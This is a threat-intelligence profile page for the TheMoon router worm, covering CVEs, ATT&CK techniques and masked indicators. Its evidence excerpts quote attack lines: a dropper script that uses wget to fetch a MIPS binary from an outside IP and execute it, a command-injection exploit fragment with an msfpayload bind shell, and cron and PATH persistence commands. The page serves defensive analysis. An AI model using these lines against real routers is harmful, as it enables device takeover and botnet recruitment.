Skip to main content
Mallory
Malware2 associated CVEs

TheMoon

Tracked since Dec 19, 2025 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns2Associated
Actors0Associated
ATT&CK17Techniques
IOCs24Tracked
Type
Worm
Capabilities
Initial accessPersistenceDefense evasion
Platforms
LinuxNetwork deviceIOT

TheMoon is a worm and botnet malware family identified in 2014 that compromises routers and other internet-connected devices by exploiting firmware vulnerabilities. Its targets include Linksys and ASUS small-office and home-office routers, as well as IP cameras. Known infection chains exploit unauthenticated command execution vulnerabilities, including CVE-2014-9583 in ASUS routers and the Linksys E-Series command injection flaw subsequently assigned CVE-2025-34037. Router payloads include Linux MIPS little-endian ELF binaries.

TheMoon variants support peer-to-peer command distribution and the downloading and execution of additional payloads. An analyzed implementation separates timekeeping, peer communications, and payload retrieval into distinct modules. It registers with predefined peers, forwards messages using a time-to-live mechanism, and retrieves executable files in response to commands. Variants modify firewall rules to restrict competing infections while preserving attacker access. Some implementations use unencrypted communications.

Persistent ASUS infections use writable flash storage, startup execution hooks, and scheduled tasks to relaunch malicious components. These variants can manipulate router configuration to prevent flash-partition erasure and cause a malicious executable masquerading as an NTP client to run instead of the legitimate utility. TheMoon infections have also deployed SOCKS proxies, converting compromised routers into infrastructure for relaying third-party traffic. The family has been associated with the Faceless residential proxy service and with compromised Linksys and Cisco routers used by the 5socks and Anyproxy services, which U.S. authorities disrupted in May 2025.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2025-34037via cveExploited in the wildUnauthenticated OS Command Injection in Linksys E-Series RoutersAn OS command injection vulnerability exists in various models of E-Series Linksys routers via the /tmUnblock.cgi and /hndUnblock.cgi endpoints over HTTP on port 8080. This vulnerability was reported to be exploited in the wild by the "TheMoon" worm in 2014 to deploy a MIPS ELF payload. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC.View vulnerability →Source ↗
CVE-2014-9583via fortinet threat researchExploited in the wildAuthentication bypass and remote command execution in ASUS WRT infosvrwe discussed the active detection of vulnerability CVE-2014-9583 in ASUS routers since June of this year... Figure 1 Exploitation of CVE-2014-9583 | This bot belongs to the TheMoon family of malware... Conclusion The TheMoon family was first discovered by SANS ISC in 2014. This family targets routers and installs malware by exploiting their vulnerabilities.View vulnerability →Source ↗
MITRE ATT&CK

Techniques & procedures

17 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence2

Verdachte logboekvermeldingen van de lighttpd-webserver ... wijzen echter op een mogelijke exploitatie van een bekende kwetsbaarheid in de Lighttpd-webdav-module.

Execution

5 techniques
T1053.003CronEvidence1

Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.

T1059Command and Scripting InterpreterEvidence2

ttcp_ip=-h `" . $payload . "`& ... build_packet ( $host , $port , $vuln , "/tmp/c0d3z" ) | msfpayload linux/mipsle/shell_bind_tcp LPORT=4444 ... Attempting to get a shell... fsockopen ( $host , 4444

T1059.004Unix ShellEvidence1

Below is the content of file nmlt1.sh downloaded from hxxp://78.128.92.137:80/. #!/bin/sh cd /tmp rm -f .nttpd wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1 chmod +x .nttpd ./.nttpd

T1203Exploitation for Client ExecutionEvidence1

Exploit for 0day linksys unauthenticated remote code execution vulnerability. As exploited by TheMoon worm | Executing payload... if(!send_packet($host, $port, build_packet($host, $port, $vuln, "/tmp/c0d3z")))

T1574.007Path Interception by PATH Environment VariableEvidence1

wordt opnieuw een ASUS-specifieke NVRAM-optie gebruikt om het uitvoeringspad te laten beginnen met de kwaadaardige /jffs/.bin directory: nvram set env_path="/jffs/.bin".

Persistence

2 techniques
T1053.003CronEvidence1

Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.

T1547Boot or Logon Autostart ExecutionEvidence1

Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten.

Privilege Escalation

2 techniques
T1053.003CronEvidence1

Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten ... 'cru a 8ewMqdWf9K "22 17,8,16 * * * /jffs/.asusrouter"'.

T1547Boot or Logon Autostart ExecutionEvidence1

Het .asusrouter script wordt automatisch door de ASUSWRT-firmware aangeroepen tijdens het opstarten.

Stealth

3 techniques
T1036MasqueradingEvidence1

creëert de dropper een kwaadaardig NTP-client uitvoerbaar bestand /jffs/.bin/ntpclient.

T1218System Binary Proxy ExecutionEvidence1

#!/bin/sh cd /tmp rm -f .nttpd wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1 chmod +x .nttpd ./.nttpd

T1574.007Path Interception by PATH Environment VariableEvidence1

wordt opnieuw een ASUS-specifieke NVRAM-optie gebruikt om het uitvoeringspad te laten beginnen met de kwaadaardige /jffs/.bin directory: nvram set env_path="/jffs/.bin".

Defense Impairment

2 techniques
T1222File and Directory Permissions ModificationEvidence1

build_packet ( $host , $port , $vuln , "chmod a+rwx /tmp/c0d3z" )

T1685Disable or Modify ToolsEvidence2

when the infection is done, iptables rules will be imported to the infected device. Through these rules, a wall is built by TheMoon to prevent other malware from infecting the device.

Lateral Movement

1 technique
T1021Remote ServicesEvidence1

This bot connects to TCP port 4543 of the designated IP and sends it the required file name and command id.

Command and Control

5 techniques
T1071Application Layer ProtocolEvidence2

Embedded JavaScript code is extracted and sent to the command and control (C&C) server. The C&C server will execute JavaScript code and respond with a result... Bot sends a request to the C&C URL and gets a valid (shared) Google reCAPTCHA response token.

T1071.001Web ProtocolsEvidence1

Verspreid over de verschillende shell-scripts stuurt de malware telemetrie naar de C2-server ... GET /asi.ko ... GET /asi.ok.

T1090ProxyEvidence4

Deze software creëert een socks5 proxy wat vermoedelijk gebruikt wordt door actoren om malicieuze activiteiten te ontplooien.

T1090.003Multi-hop ProxyEvidence3

This module adds an iptables rule to open UDP port 5143, and then creates a thread which is responsible for P2P communication... For every received message, the bot decreases the TTL by one, and forwards the message to its peers if the result is not zero.

T1105Ingress Tool TransferEvidence4

wget -O /tmp/asi.sh http://31.170.22[.]195/asi.sh ... GET /.nttpd → verzoek dat de malware van de server ophaalt.

Indicators of compromise

Observables

24 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching24Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities2CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping17Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.